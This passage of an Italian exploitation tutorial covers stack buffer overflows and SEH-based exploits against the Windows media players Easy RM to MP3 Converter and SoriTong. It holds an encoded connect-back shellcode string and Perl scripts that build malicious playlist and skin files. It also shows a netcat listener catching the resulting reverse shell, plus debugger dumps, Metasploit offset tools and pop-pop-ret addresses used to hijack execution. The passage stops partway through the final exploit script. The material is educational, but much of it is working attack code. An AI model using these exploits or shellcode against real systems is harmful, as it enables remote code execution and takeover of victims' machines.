"\x42\x75\x4a\x49\x5a\x4b\x50\x61\x43\x66\x50\x31\x4f\x30" . "\x50\x64\x4c\x4b\x43\x70\x50\x30\x4c\x4b\x43\x70\x54\x4c" . "\x4c\x4b\x54\x30\x45\x4c\x4c\x6d\x4e\x6b\x47\x30\x47\x78" . "\x43\x6e\x4f\x33\x45\x30\x4e\x6b\x52\x4c\x45\x74\x54\x64" . "\x4c\x4b\x51\x55\x47\x4c\x4c\x4b\x43\x64\x56\x65\x50\x78" . "\x43\x31\x5a\x4a\x4e\x6b\x52\x6a\x52\x38\x4e\x6b\x43\x6a" . "\x51\x30\x43\x31\x5a\x4b\x4b\x53\x47\x44\x52\x69\x4c\x4b" . "\x50\x34\x4e\x6b\x56\x61\x58\x6e\x50\x31\x49\x6f\x45\x61" . "\x4f\x30\x4b\x4c\x4c\x6c\x4b\x34\x4f\x30\x52\x54\x54\x47" . "\x5a\x61\x5a\x6f\x56\x6d\x56\x61\x5a\x67\x5a\x4b\x5a\x54" . "\x45\x6b\x51\x6c\x45\x74\x47\x58\x54\x35\x4d\x31\x4c\x4b" . "\x50\x5a\x47\x54\x47\x71\x58\x6b\x43\x56\x4e\x6b\x54\x4c" . "\x52\x6b\x4e\x6b\x51\x4a\x45\x4c\x56\x61\x5a\x4b\x4e\x6b" . "\x45\x54\x4e\x6b\x45\x51\x4d\x38\x4f\x79\x50\x44\x47\x54" . "\x47\x6c\x51\x71\x58\x43\x5a\x4b\x56\x4d\x4c\x6d\x56\x30" . "\x43\x62\x49\x78\x4d\x78\x4b\x4f\x49\x6f\x4b\x4f\x4e\x69" . "\x43\x37\x4f\x73\x4f\x34\x56\x68\x4e\x63\x4b\x77\x56\x64" . Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 155 di 193
System exploitation using buffer overflow
"\x54\x79\x58\x4e\x51\x65\x58\x6c\x49\x53\x4e\x6e\x50\x4e" "\x56\x6e\x58\x6c\x50\x72\x49\x6e\x58\x33\x54\x56\x51\x6e" "\x49\x48\x5a\x42\x50\x73\x4b\x69\x56\x69\x4b\x45\x4c\x6d" "\x56\x6c\x4e\x5a\x56\x4d\x4d\x63\x58\x4b\x5a\x4d\x49\x6c" "\x45\x6b\x4d\x53\x58\x6c\x51\x70\x4b\x39\x5a\x45\x5a\x4b" "\x47\x72\x58\x6b\x47\x75\x58\x68\x49\x69\x4b\x4f\x4b\x4f" "\x49\x6f\x51\x4e\x58\x68\x43\x6c\x49\x6f\x4b\x4f\x49\x6f" "\x4b\x39\x58\x42\x4d\x53\x5a\x4e\x47\x56\x4c\x4d\x43\x4d" "\x56\x64\x4e\x69\x49\x61\x4f\x73\x4f\x31\x56\x6c\x5a\x48" "\x4e\x4d\x49\x6f\x4b\x4f\x4b\x4f\x4f\x73\x4b\x71\x56\x6c" "\x50\x31\x4b\x70\x51\x76\x4c\x78\x47\x43\x54\x72\x56\x30" "\x50\x68\x54\x37\x51\x63\x45\x62\x43\x6f\x4f\x79\x4b\x53" "\x50\x51\x51\x42\x43\x63\x4b\x4f\x52\x75\x54\x44\x43\x6a" "\x43\x69\x4c\x49\x5a\x62\x58\x68\x4c\x4d\x49\x6f\x49\x6f" "\x49\x6f\x4f\x48\x54\x34\x51\x6e\x54\x35\x49\x6f\x56\x4d" "\x54\x51\x56\x71\x47\x61\x49\x6f\x56\x30\x4f\x79\x43\x55" "\x50\x30\x50\x31\x58\x52\x4f\x46\x54\x43\x51\x39\x4b\x64" "\x51\x44\x43\x5a\x54\x42\x4b\x4f\x50\x55\x54\x58\x50\x31" "\x58\x52\x4c\x76\x47\x73\x47\x71\x5a\x74\x50\x31\x4f\x30" "\x56\x30\x56\x30\x56\x30\x50\x50\x52\x4a\x56\x61\x51\x7a" "\x47\x72\x4b\x4f\x52\x75\x56\x70\x4d\x59\x49\x56\x52\x48" "\x43\x4f\x56\x61\x56\x61\x56\x61\x4d\x68\x54\x42\x56\x61" "\x56\x71\x43\x6c\x49\x6e\x58\x4c\x52\x70\x4b\x39\x4d\x33" "\x54\x71\x49\x50\x50\x50\x56\x30\x56\x30\x50\x50\x51\x7a" "\x56\x70\x52\x73\x51\x46\x49\x6f\x50\x55\x52\x34\x50\x31" "\x5a\x69\x4e\x51\x43\x64\x54\x69\x58\x4c\x4d\x59\x49\x77" "\x56\x37\x45\x61\x4b\x70\x58\x73\x4d\x7a\x43\x6f\x4b\x76" "\x43\x37\x50\x44\x4b\x4e\x52\x67\x54\x6d\x43\x67\x4f\x79" "\x5a\x50\x4e\x6d\x51\x6f\x50\x38\x4e\x4b\x4c\x6b\x4c\x6b" "\x51\x4f\x56\x51\x4b\x70\x4e\x6d\x52\x57\x50\x44\x50\x56" "\x52\x77\x56\x30\x52\x70\x56\x30\x43\x70\x56\x30\x52\x68" "\x52\x70\x52\x70\x4b\x4f\x52\x55\x54\x70\x56\x30\x4b\x4f" "\x50\x55\x56\x68\x4b\x4f\x51\x45\x56\x6c\x41\x41";
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
# Write to file open($FILE,">$file"); print $FILE $junk.$eip.$nopsled.$shellcode; close($FILE); print "Create file done!"; --------- BuildExploitFile.pl END -----------------------Passiamo al test finale, dato che si tratta di una shellcode connect-back, dobbiamo mettere in ascolto preventivamente netcat, C:\env\nc11nt>nc -v -l -p 4444 listening on [any] 4444 ... Ora possiamo procedere ad avviare il programma e caricare il file Crash.m3u generato. Il risultato al prompt di netcat dovrebbe essere il seguente: 127.1.1.1: inverse host lookup failed: h_errno 11004: NO_DATA connect to [127.1.1.1] from (UNKNOWN) [127.1.1.1] 1065: NO_DATA Microsoft Windows XP [Versione 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 156 di 193
System exploitation using buffer overflow
C:\Programmi\Easy RM to MP3 Converter> 0x17] (Arch: NT) - SEH based exploit Up SEH stà per “Structured exception handling”. Su windows una eccezzione è un evento che occorre quando si verifica un evento non previsto durante il normale flusso di esecuzione di un programma. Queste eccezzioni possono essere di due tipi. Possono essere eccezzioni hardware (ovvero inizializzate dalla CPU) oppure software (applicazioni). Le prime scaturiscono quando il processore si ritrova a eseguire operazioni non previste, come divisioni per zero o si ritrova ad accedere ad indirizzi non validi. Le occorrenze delle eccezzioni software sono causate da ciò che l’applicazione stabilisce ed è solitamente compito del programmatore implementarle, oppure possono essere innescate dal sistema operativo stesso. Le SEH sono niente altro che le implementazioni della gestione di questi eventi. Infatti le routine vengono solitamente appellate con ‘Handler’. La cosa interessante è che l’indirizzo di queste routine di gestione è posizionato nello stack. La nostra indagine per capire di che cosa si tratta, può partire scrivendo il seguente codice C++:
--------- sehtest.cpp -----------------------#include <stdio.h> #include <string.h> #include <windows.h> #pragma warning(disable,4996) int ExceptionHandler(void); int main(int argc, char* argv[]) { printf("Application executed"); char temp[512]; __try { strcpy(temp,argv[1]); } __except(ExceptionHandler()) {} return 0; } int ExceptionHandler(void) { printf("Exception"); return 0; } --------- sehtest.cpp END -----------------------La memoria è strutturata nel modo seguente: Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 157 di 193
System exploitation using buffer overflow
L’indirizzo della routine per la gestione dell’eccezione è posizionato sullo stack all’interno di una struttura dedicata; “exception_registration”. Questa struttura è lunga 8 byte e contiene 2 elementi da 4; uno è un puntatore all’exception handler successivo (se c’è), l’altro è l’indirizzo dell’attuale codice gestore dell’eccezione. (SE Handler).
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 158 di 193
System exploitation using buffer overflow
Sulla cima del blocco principale, (il blocco della funzione main()), è posizionato un puntatore alla lista di SEH suddetta. Su macchine intel, quando cerchiamo nel codice disassemblato , noi vedremo un’istruzione che muove un puntatore DWORD da FS:[0]. Questo ci dice che sicuramente un exception handler è stato settato per il thread e sarà in grado di intercettare gli errori che si verificheranno eventualmente. L’opcode per questa istruzione è ‘64A100000000’. Se l’opcode non viene trovato, signiifca che non c’è alcun exception handler impostato. Riprendiamo il codice di esempio, compiliamo e produciamo un eseguibile al quale poi ci attaccheremo con il debugger, affinchè possiamo capire concretamente che cosa si trova in memoria quando viene utilizzato il costrutto per la gestione degli errori. Apriamo l’eseguibile con WinDbg. Executable search path is: ModLoad: 00400000 00406000 sehtest.exe ModLoad: 7c910000 7c9c8000 ntdll.dll ModLoad: 7c800000 7c901000 C:\WINDOWS\system32\kernel32.dll ModLoad: 78520000 785c3000 C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6f74963e\MSVCR90.dll L’eseguibile è caricato all’indirizzo 0x400000, allora cerchiamo in questo spazio i byte dell’istruzione citata in precedenza. 0:000> s 400000 l 406000 0040100f 64 a1 00 00 00 00401110 64 a1 18 00 00 00401671 64 a1 00 00 00
64 00 00 00
A1 50 81-ec 0c 02 00 00 a1 00 30 8b 70-04 89 5d e4 bf 74 33 40 50 83-ec 08 53 56 57 a1 00 30
d.....P........0 d......p..]..t3@ d.....P...SVW..0
Questa dimostra che il gestore delle eccezioni è stato installato. Ora eseguiamo il dump della struttura TEB, 0:000> d fs:[0] 003b:00000000 0c fd 12 00 00 00 13 00-00 e0 12 00 00 00 00 00 ................ 003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................ Seguiamo all’indirizzo indicato: 0:000> d 0012fd0c 0012fd0c ff ff ff ff 20 e9 91 7c-30 b0 92 7c 01 00 00 00 0012fd1c 00 00 00 00 57 e4 91 7c-30 fd 12 00 00 00 91 7c
.... ..|0..|.... ....W..|0......|
0xffffffff indica la fine della SEH chain. E’ corretto, dal momento che il programma non è ancora stato eseguito, windbg è in pausa. Stessa cosa possiamo vederla con immunity debugger. Ora, facendo partire il programma, troveremo dei gestori aggiuntivi, dato che vengono aggiunti solo dopo che il programma è partito: SEH chain of main thread Address SE handler 0012FF6C sehtest.00401785 0012FFB0 sehtest.00401785 0012FFE0 kernel32.7C839AD8 Analizzando lo stack troviamo: 0012FF68 0012FF6C
00403020 0012FFB0
0@. °ÿ_.
sehtest.00403020 Pointer to next SEH record
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 159 di 193
System exploitation using buffer overflow
0012FF70 ... 0012FFD4 0012FFD8 0012FFDC 0012FFE0 0012FFE4 0012FFE8 0012FFEC 0012FFF0 0012FFF4 ...
00401785
…_@.
SE handler
8054B6B8 0012FFC8 81BE4020 FFFFFFFF 7C839AD8 7C817080 00000000 00000000 00000000
¸¶T€ Èÿ_. @¾• ÿÿÿÿ Øšƒ| €p•| .... .... ....
End of SEH chain SE handler kernel32.7C817080
Quando si verifica una eccezione nel processo, l’esecuzione salta al primo handler che trova, altrimenti salta a quello successivo fino a che non viene incontrato quello di default, che è sempre l’ultimo nella lista. I gestori di eccezioni formano una catena linkata lungo tutto lo stack.
In teoria quello che dobbiamo fare nel nostro exploit è: - Causare una eccezione. Senza questa, il SEH handler non viene richiamato. - Sovrascrivere il puntatore al prossimo record SEH con alcuni jumpcode. (in modo che possa saltare alla shellcode). Gli jump code sono indirizzi a locazioni che referenziano istruzioni nella forma: “pop,pop,ret”. - Sovrascrivere il SE handler con un puntatore ad una istruzione che ci riporterà al prossimo SEH ed esegue un “jmpcode”. - La shellcode viene direttamente piazzata dopo il SE handler sovrascritto. Anche in questo caso, ricorriamo ad un programma vulnerabile per capire meglio come le sovrascritture degli indirizzi dei gestori possono essere sfruttate per eseguire codice arbitrario. Il programma è “Soriting” versione 1. Si tratta di un altro lettore mp3. Questa volta la vulnerabilità è localizzata nella parte di programma che si occupa di gestire i file per personalizzare l’aspetto della skin. Il seguente codice perl crea un file utile per un primo test: $uitxt= "ui.txt"; my $junk = "A" x 5000; Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 160 di 193
System exploitation using buffer overflow
open(myfile,">$uitxt"); print myfile $junk; Posizioniamo il file prodotto nella directory di sistema skin/default. Quando apriamo il programma esso si arresta quasi subito. Apriamolo con un debugger per vedere quello che accade. EIP non è affatto sovrascritto. Allora ciò significa che probabilmente non abbiamo sovrascritto un indirizzo di ritorno, ma altro. All’interno di Immunity debugger, utilizzare la finestra thread e scegliere sul primo thread “dump thread data block”. A questo punto possiamo vedere i puntatori alla SEH chain. Poi nella schermata principale dal menù view scegliamo “SEH chain”. L’handler punta ad una locazione corrotta. “0x41414141”. In questo modo noi abbiamo la possibilità di controllare EIP e direzionare lo shellocde dove vogliamo. Un altro buon metodo di analisi per le eccezioni è quello offerto da WinDbg. Apriamolo e carichiamo l’eseguibile. Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: "C:\Program Files\SoriTong\SoriTong.exe" WARNING: Whitespace at end of path element Symbol search path is: srv*c:\windows\websymbols*http://msdl.microsoft.com/download/symbols Executable search path is: ModLoad: 00400000 004de000 SoriTong.exe ModLoad: 7c910000 7c9c8000 ntdll.dll ModLoad: 7c800000 7c901000 C:\WINDOWS\system32\kernel32.dll ModLoad: 77f40000 77feb000 C:\WINDOWS\system32\ADVAPI32.dll ModLoad: 77da0000 77e33000 C:\WINDOWS\system32\RPCRT4.dll ... ModLoad: 7c9d0000 7d1ee000 C:\WINDOWS\system32\SHELL32.dll ModLoad: 77e90000 77f06000 C:\WINDOWS\system32\SHLWAPI.dll ModLoad: 76b00000 76b2e000 C:\WINDOWS\system32\WINMM.dll ModLoad: 774b0000 775ee000 C:\WINDOWS\system32\OLE32.dll ModLoad: 770f0000 7717b000 C:\WINDOWS\system32\OLEAUT32.dll (c5c.d34): Break instruction exception - code 80000003 (first chance) eax=00241eb4 ebx=7ffd5000 ecx=00000001 edx=00000002 esi=00241f48 edi=00241eb4 eip=7c91120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!DbgBreakPoint: 7c91120e cc int 3 diamo il comando ‘g’ + invio per avviare il programma: 0:000> g ModLoad: 76340000 7635d000 C:\WINDOWS\system32\IMM32.DLL ModLoad: 773a0000 774a3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.CommonControls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll ModLoad: 746b0000 746fc000 C:\WINDOWS\system32\MSCTF.dll ... ModLoad: 71a30000 71a47000 C:\WINDOWS\system32\WS2_32.dll ModLoad: 71a20000 71a28000 C:\WINDOWS\system32\WS2HELP.dll ModLoad: 76e70000 76e9f000 C:\WINDOWS\system32\TAPI32.dll ModLoad: 76e40000 76e4e000 C:\WINDOWS\system32\rtutils.dll (c5c.d34): Access violation - code c0000005 (first chance) Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 161 di 193
System exploitation using buffer overflow
First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00130000 ebx=00000003 ecx=00000041 edx=00000041 esi=0017f504 edi=0012fd64 eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 *** WARNING: Unable to verify checksum for SoriTong.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe SoriTong!TmC13_5+0x3ea3: 00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41 Ci viene segnalata l’eccezione. Controlliamo lo stack: 0:000> d esp 0012da14 a4 dc aa 00 00 00 00 00-00 00 0012da24 94 da 12 00 00 00 00 00-68 bb 0012da34 00 00 00 00 00 00 00 00-00 00 0012da44 7f 1e 92 7c 00 eb 12 00-00 00 0012da54 01 00 00 00 24 da 12 00-1a 02 0012da64 8f 04 3c 7e 30 88 39 7e-ff ff 0012da74 7b 92 3a 7e 66 d6 00 00-b8 da 0012da84 94 da 12 00 bf fe ff ff-b8 f0
00 14 00 00 00 ff 12 12
00 00 00 00 00 ff 00 00
00 00 44 01 d4 2a d8 40
00 00 87 a0 ed 88 00 c7
00 00 95 f8 12 39 4f 15
00 00 7c 00 00 7e 5d 00
................ ........h....... ............D..| ...|............ ....$........... ..<~0.9~....*.9~ {.:~f.........O] ............@...
La sequenza di valori 0xf indica la terminazione della SEH chain. WinDbg dispone del comando “!analyze”. Questo ci riporta una grande quantità di informazioni riguardo l’eccezione avvenuta: 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** ERROR: Symbol file could not be found. Defaulted to export symbols for [...] *** *** *** *** Type referenced: kernel32!pNlsUserInfo *** *** *** ************************************************************************* FAULTING_IP: SoriTong!TmC13_5+3ea3 00422e33 8810
mov
byte ptr [eax],dl
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 00130000 Attempt to write to address 00130000 FAULTING_THREAD: DEFAULT_BUCKET_ID:
00000d34 INVALID_POINTER_WRITE
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 162 di 193
System exploitation using buffer overflow
PROCESS_NAME:
SoriTong.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - L'istruzione a "0x%08lx" ha fatto riferimento alla memoria a "0x%08lx". La memoria non poteva essere "%s". EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - L'istruzione a "0x%08lx" ha fatto riferimento alla memoria a "0x%08lx". La memoria non poteva essere "%s". EXCEPTION_PARAMETER1:
00000001
EXCEPTION_PARAMETER2:
00130000
WRITE_ADDRESS:
00130000
FOLLOWUP_IP: SoriTong!TmC13_5+3ea3 00422e33 8810 NTGLOBALFLAG:
mov
byte ptr [eax],dl
70
APPLICATION_VERIFIER_FLAGS: PRIMARY_PROBLEM_CLASS: BUGCHECK_STR:
0
INVALID_POINTER_WRITE
APPLICATION_FAULT_INVALID_POINTER_WRITE
IP_MODULE_UNLOADED: ud+41414140 41414141 ??
???
LAST_CONTROL_TRANSFER:
from 41414141 to 00422e33
STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3 0012fd3c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 ... 0012ffa4 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012ffa8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012ffac 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012ffb0 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012ffb4 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012ffb8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012ffbc SYMBOL_STACK_INDEX: SYMBOL_NAME:
0
SoriTong!TmC13_5+3ea3
FOLLOWUP_NAME:
MachineOwner
MODULE_NAME: SoriTong IMAGE_NAME:
SoriTong.exe
DEBUG_FLR_IMAGE_TIMESTAMP:
37dee000
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 163 di 193
System exploitation using buffer overflow
STACK_COMMAND:
~0s ; kb
FAILURE_BUCKET_ID: BUCKET_ID:
INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13_5
APPLICATION_FAULT_INVALID_POINTER_WRITE_SoriTong!TmC13_5+3ea3
Followup: MachineOwner --------L’handler che viene utilizzato dal programma non inserito dall’applicazione ma è quello del sistema. Ovvero quello di default. Andiamo a verificare partendo dalla struttura TEB: 0:000> d fs:[0] 003b:00000000 64 fd 12 00 00 00 13 00-00 c0 12 00 00 00 00 00 d............... 003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................ 003b:00000020 5c 0c 00 00 34 0d 00 00-00 00 00 00 08 2a 14 00 \...4........*.. 003b:00000030 00 50 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 .P.............. 003b:00000040 60 6c 39 e4 00 00 00 00-00 00 00 00 00 00 00 00 `l9............. 003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0:000> d 0012fd64 0012fd64 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fd74 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fd84 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fd94 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fda4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fdb4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fdc4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fdd4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA In effetti il puntatore rimanda all’interno di una sequenza di caratteri 0x41, “A”. Per la creazione dell’exploit ci serve sapere l’offset di “next SEH” e di “SE handler”. Comunque di fatto non cambia molto dai comuni exploit cha abbiamo già affrontato. Ecco come dovrebbe apparire la nostra stringa di attacco: First Exception occours Jump
Junk buffer
Next SEH
SE handler
Shellcode
Shellcode gets executed
Opcode to jump over SE handler Do pop pop ret
Puts address of next SEH location in EIP, so opcode gets executed
Come per l’esempio precedente recuperiamo il valore dell’offset per gli indirizzi SEH e next SEH. Per questo possiamo utilizzare il framework metasploit. Matteo@wsxp /cygdrive/c/Programmi/Rapid7/framework/msf3/tools $ ./pattern_create.rb 3000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1 Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3 Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5 Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 164 di 193
System exploitation using buffer overflow
Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9 . . . Matteo@wsxp /cygdrive/c/Programmi/Rapid7/framework/msf3/tools $ ./pattern_offset.rb At6A 2000 588 Per arrivare al SE handler ci sono 588 byte da oltrepassare. Il puntatore next SEH dista invece 588-4 byte. Ora dobbiamo cercare un indirizzo da sovrascrivere al next SEH in modo da saltare invece alla shellcode. La sequenza di istruzioni pop – pop – ret esegue questo compito. Ma cosa fa esattamente? Quando avviene una eccezione, il dispacher crea il proprio stack, ci sposta anche gli elementi legati al SE handler. Next SEH dista da ESP +8 byte. Allora: il primo pop incrementa ESP di 4 byte. Il secondo pop altri 4. L’istruzione ret prende il valore corrente di ESP (ovvero l’indirizzo del prossimo SEH che era localizzato a ESP+8) e lo inserisce in EIP. Allora li si salta a livello esecuzione. Dobbiamo inserire l’indirizzo di una sequenza pop,pop,ret nel SE handler. Possiamo cercare un lista di istruzioni di questo tipo in qualsiasi modulo eseguibile caricato in memoria. L’importante è che sia statico. Ovvero che venga caricato ogni volta allo stesso indirizzo. Guardiamo tra i moduli eseguibili caricati: ... ModLoad: 77bb0000 77bc5000 C:\WINDOWS\system32\MSACM32.dll ModLoad: 77ba0000 77ba7000 C:\WINDOWS\system32\midimap.dll ModLoad: 10000000 10094000 C:\Program Files\SoriTong\Player.dll ModLoad: 42100000 42129000 C:\WINDOWS\system32\wmaudsdk.dll ModLoad: 00f10000 00f5f000 C:\WINDOWS\system32\DRMClien.DLL ... Player.dll fa per noi. Ricerchiamo all’interno della dll tale sequenza. Per farlo possiamo utilizzare l’ottimo strumento “findjmp2”, creato dalla società di sicurezza informatica eEye. Oppure si può utilizzare msfpescan dal framework di metasploit. Copiamolo nella directory di lavoro assieme alla dll che intendiamo analizzare e diamo: $ ./findjmp.exe 0x100104F8 0x100106FB 0x1001074F 0x10010CAB 0x100116FD 0x1001263D 0x100127F8 0x1001281F ... 0x1001B883 0x1001BDBA 0x1001BDDC 0x1001BE3C 0x1001D86D 0x1001D8F5 0x1001E0C7 0x1001E812
player.dll edi | grep pop | grep -v "000" pop edi - pop - retbis pop edi - pop - ret pop edi - pop - retbis pop edi - pop - ret pop edi - pop - ret pop edi - pop - ret pop edi - pop - ret pop edi - pop - ret pop pop pop pop pop pop pop pop
edi edi edi edi edi edi edi edi
-
pop pop pop pop pop pop pop pop
–
Copyright © Matteo Tosato 2010-2011
ret ret ret ret ret ret ret ret tosatz@tiscali.it rev.2.2
Pag. 165 di 193
System exploitation using buffer overflow
Scegliamo uno di questi indirizzi. A questo punto siamo in grado di scrivere l’exploit. Utilizziamo ancora perl; per il payload utilizziamone uno generico, ad esempio da metasploit, scarichiamo quello relativo all’esecuzione della calcolatrice di windows calc.exe. Ma prima di costruire lo script completo; inseriamo a scopo didattico alcuni interrupt in modo da poterci assicurare l’esatto posizionamento dello shellcode nello stack al momento dell’eccezione. La prima versione dello script sarà allora come il seguente: --------- CreateSoriTongExploit.pl -----------------------$exploit_file = "ui.txt"; # Fill with padding my $junk= "A" x 584; # Put an interrupt INT3 my $int= "\xcc\xcc\xcc\xcc"; # Address of pop pop ret sequence my $ppr= pack('V',0x1001e812); # Shellcode my $shellcode= "\x90\x90\x90\x90" x 25; my $junk2= "A" x 1000; open(myfile,">$exploit_file"); print myfile $junk.$int.$ppr.$shellcode.$junk2; close(myfile); --------- CreateSoriTongExploit.pl END --------------------Si noti che la stringa deve essere sufficentemente lunga per generare una una eccezione, questo giustifica la variabile junk2. Eseguiamo con wingdb, Microsoft (R) Windows Debugger Version 6.12.0002.633 X86 Copyright (c) Microsoft Corporation. All rights reserved. ... ModLoad: 76b00000 76b2e000 C:\WINDOWS\system32\WINMM.dll ModLoad: 774b0000 775ee000 C:\WINDOWS\system32\OLE32.dll ModLoad: 770f0000 7717b000 C:\WINDOWS\system32\OLEAUT32.dll (d20.e44): Break instruction exception - code 80000003 (first chance) eax=00241eb4 ebx=7ffd6000 ecx=00000001 edx=00000002 esi=00241f48 edi=00241eb4 eip=7c91120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll ntdll!DbgBreakPoint: 7c91120e cc int 3 0:000> g ModLoad: 76340000 7635d000 C:\WINDOWS\system32\IMM32.DLL ModLoad: 773a0000 774a3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common... ModLoad: 77ba0000 77ba7000 C:\WINDOWS\system32\midimap.dll ModLoad: 10000000 10094000 C:\Program Files\SoriTong\Player.dll Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 166 di 193
System exploitation using buffer overflow
ModLoad: 42100000 42129000 C:\WINDOWS\system32\wmaudsdk.dll ... ModLoad: 76e40000 76e4e000 C:\WINDOWS\system32\rtutils.dll (d20.e44): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00130000 ebx=00000003 ecx=00000041 edx=00000041 esi=0017e504 edi=0012fd64 eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 *** WARNING: Unable to verify checksum for SoriTong.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe SoriTong!TmC13_5+0x3ea3: 00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41 0:000> d eip 0012fd64 cc cc cc cc 12 e8 01 10-90 90 90 90 90 90 90 90 ................ 0012fd74 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0012fd84 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0012fd94 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0012fda4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0012fdb4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0012fdc4 90 90 90 90 90 90 90 90-90 90 90 90 41 41 41 41 ............AAAA 0012fdd4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Vedete che subito dopo gli interrupt c’è l’indirizzo che abbiamo inserito? Ora siamo che siamo certi del posizionamento sostituiamo le sequenze di 0xcc con un salto. --------- CreateSoriTongExploit.pl -----------------------$exploit_file = "ui.txt"; # Fill with padding my $junk= "A" x 584; # jmp 6 bytes my $nxSEH= "\xeb\x06\x90\x90"; # Address of pop pop ret sequence my $ppr= pack('V',0x1001e812); # 